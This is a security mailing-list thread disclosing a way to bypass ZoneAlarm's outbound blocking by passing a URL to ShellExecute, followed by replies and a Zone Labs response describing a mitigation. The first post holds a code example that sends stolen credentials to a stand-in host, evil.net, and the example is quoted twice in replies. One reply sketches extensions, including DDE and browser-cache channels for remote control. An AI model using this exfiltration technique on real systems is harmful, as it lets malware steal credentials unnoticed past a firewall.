Bypassing ZoneAlarm (limited)

Hi everyone.
I don't know if this is a new issue but it is a simple way to
bypass (in some limited form) ZoneAlarm's Application level
Internet access blocking.

Windows dll shell32.dll exports a well known and documented function called
ShellExecute. From Win32 Programmer's refference:

>HINSTANCE ShellExecute(
> HWND hwnd, // handle to parent window
> LPCTSTR lpOperation, // pointer to string that specifies
> // operation to perform
> LPCTSTR lpFile, // pointer to filename or folder name string
> LPCTSTR lpParameters, // pointer to string that specifies
> //executable-file parameters
> LPCTSTR lpDirectory, // pointer to string that specifies default
directory
> INT nShowCmd // whether file is shown when opened
> );

When the lpFile parameter is an Internet url, windows invokes Internet
Explorer (or more accurately - the default web browser), which in 99% of
the cases is allowed to access Internet, with that url. Example:

ShellExecute(
0,
"open",
"http://evil.net/collect.cgiun=stolen_username&pw=stollen_password"
0,
0,
SW_HIDE //This doesn't work.
//I think it is supposed to hide the window but ...
);

The collect.cgi (after storing stolen_username/stolen_password) could
redirect the user for example to
windowsupdate.microsoft.com,
so that many users will not even suspect anything.

The info leaked is limited by the maximum allowed url length, but that
could be more than enough for a malicious application to send some
username/password/cookie/cc_number info to malicious server.

This was tested on ZoneAlarm 3.1.395 (freeware) but i guess that all
versions can be tricked if the user has granted access to his default
web browser by default (very likely)

VENDOR STATUS:
I thing that this is flaw in the core design of ZoneAlarm
(and/or Windows) and don't see a way it can be fixed.

WORKAROUND:
Do not allow ANY application to access Internet by default and
review each request separately.

Any comments are wellcome.
aceh

[Dan Harkless]

<aceh@gyuvetch.bg> writes:
> I don't know if this is a new issue but it is a simple way to
> bypass (in some limited form) ZoneAlarm's Application level
> Internet access blocking.
>
> Windows dll shell32.dll exports a well known and documented function called
> ShellExecute. From Win32 Programmer's refference:
>
[snip]
>
> When the lpFile parameter is an Internet url, windows invokes Internet
> Explorer (or more accurately - the default web browser), which in 99% of
> the cases is allowed to access Internet, with that url. Example:
>
> ShellExecute(
> 0,
> "open",
> "http://evil.net/collect.cgiun=stolen_username&pw=stollen_password"
> 0,
> 0,
> SW_HIDE //This doesn't work.
> //I think it is supposed to hide the window but ...
> );
>
> The collect.cgi (after storing stolen_username/stolen_password) could
> redirect the user for example to
> windowsupdate.microsoft.com,
> so that many users will not even suspect anything.
>
> The info leaked is limited by the maximum allowed url length, but that
> could be more than enough for a malicious application to send some
> username/password/cookie/cc_number info to malicious server.

This is also of course an issue for network-level firewalls. Allowing
outgoing traffic only on well-known ports such as 80, 443, etc. is to a
large extent false security, since there's no reason a trojan or other
malicious program can't utilize those ports and protocols.

> This was tested on ZoneAlarm 3.1.395 (freeware) but i guess that all
> versions can be tricked if the user has granted access to his default
> web browser by default (very likely)
>
> VENDOR STATUS:
> I thing that this is flaw in the core design of ZoneAlarm
> (and/or Windows) and don't see a way it can be fixed.

ZoneAlarm Pro (the pay version) has an additional feature which defeats
this. You need to turn on "Advanced Program Control", either by setting the
"Program Control" slider to "High" (meaning you'll have to OK every Internet
access by a DLL as well as by a program's core code) or by leaving it at
"Medium" and clicking "Enable Advanced Program Control" on the "Custom"
dialog.

What that feature does is require your permission each time one program
tries to use another to access the 'net. You'll get a popup like:

Do you want to allow MaliciousTrojan.exe to use Internet Explorer to
access the Internet?

> WORKAROUND:
> Do not allow ANY application to access Internet by default and
> review each request separately.

Way too impractical to even consider.

--
Dan Harkless
bugtraq@harkless.org
http://harkless.org/dan/

[Te Smith]

In-Reply-To: <20030623061246.7134.qmail@www.securityfocus.com>

The posting describes test results using older versions of Zone Labs’
ZoneAlarm and also erroneously attributes the problem to a flawed core
design.

Zone Labs’ Advanced Program Control feature protects PCs from the
ShellExecute theoretical exploit. This feature is available in all Zone
Labs’ advanced consumer security products, as well as Zone Labs’
enterprise security product, Integrity. Advanced Program Control protects
against this theoretical exploit and others which attempt to bypass the
firewall’s trusted application permissions.

Zone Labs recommends that users run Program Control at the
default ‘medium’ setting for about a week so that the software
will ‘learn’ each program that is used for Internet access. After a week,
configure Program Control at the high setting. At that point, users will
only be prompted with an Alert if there is a problem. As a result, users
get full protection against the ShellExecute theoretical exploit. Zone
Labs is always working on improving these and other features to make them
easy-to-use and intuitive for all users, no matter their skill level.

Zone Labs first introduced the Advanced Program Control feature in
November, 2002 with the release of ZoneAlarm Pro 3.5. Zone Labs added
this feature to Integrity at the same time and then added it to ZoneAlarm
Plus in February, 2003. Zone Labs recommends that all users keep their
security products up-to-date at all times.

We have continually hardened security in our free ZoneAlarm, as we do with
all our releases, but we do not include all advanced features in this
basic product.

More information can be found through our technical support FAQs.

Te Smith
Sr. Director, Corporate Communications
Zone Labs
tsmith@zonelabs.com

[Dan Harkless]

While I was being interviewed for an InfoSecurityMag.com article on this (in
which the author unfortunately got multiple fundamental facts wrong), I
thought of a couple of other points that are probably worth mentioning.

<aceh@gyuvetch.bg> writes:
> Windows dll shell32.dll exports a well known and documented function called
> ShellExecute. From Win32 Programmer's refference:
>
> >HINSTANCE ShellExecute(
> > HWND hwnd, // handle to parent window
> > LPCTSTR lpOperation, // pointer to string that specifies
> > // operation to perform
> > LPCTSTR lpFile, // pointer to filename or folder name string
> > LPCTSTR lpParameters, // pointer to string that specifies
> > //executable-file parameters
> > LPCTSTR lpDirectory, // pointer to string that specifies default
> directory
> > INT nShowCmd // whether file is shown when opened
> > );
>
> When the lpFile parameter is an Internet url, windows invokes Internet
> Explorer (or more accurately - the default web browser), which in 99% of
> the cases is allowed to access Internet, with that url. Example:
>
> ShellExecute(
> 0,
> "open",
> "http://evil.net/collect.cgiun=stolen_username&pw=stollen_password"
> 0,
> 0,
> SW_HIDE //This doesn't work.
> //I think it is supposed to hide the window but ...
> );

The level of detail you're going into on ShellExecute() kind of implies the
vulnerability is limited to that one system call, but of course a malicious
executable could directly run iexplore.exe or any other executable that
allows opening arbitrary URLs, and pass those URLs via the commandline or
via other means like DDE.

> The info leaked is limited by the maximum allowed url length, but that
> could be more than enough for a malicious application to send some
> username/password/cookie/cc_number info to malicious server.

And the vulnerability wouldn't be limited to simplex communications from
host to server. The trojan could employ techniques (as simple as reading
Internet Explorer cache files) to establish half-duplex communications,
potentially allowing an attacker to gain remote control over your machine
despite the presence of ZoneAlarm.

Of course if a trojan is able to run arbitrary commands with your user
privileges (especially if you're in the Administrators group, as, for
instance, the initial account created on Windows XP boxes is), there are
other ways an attacker could gain control of your machine. Particularly if
you're running only ZoneAlarm rather than ZoneAlarm Plus or Pro, since it
doesn't notice DLLs getting changed.

--
Dan Harkless
bugtraq@harkless.org
http://harkless.org/dan/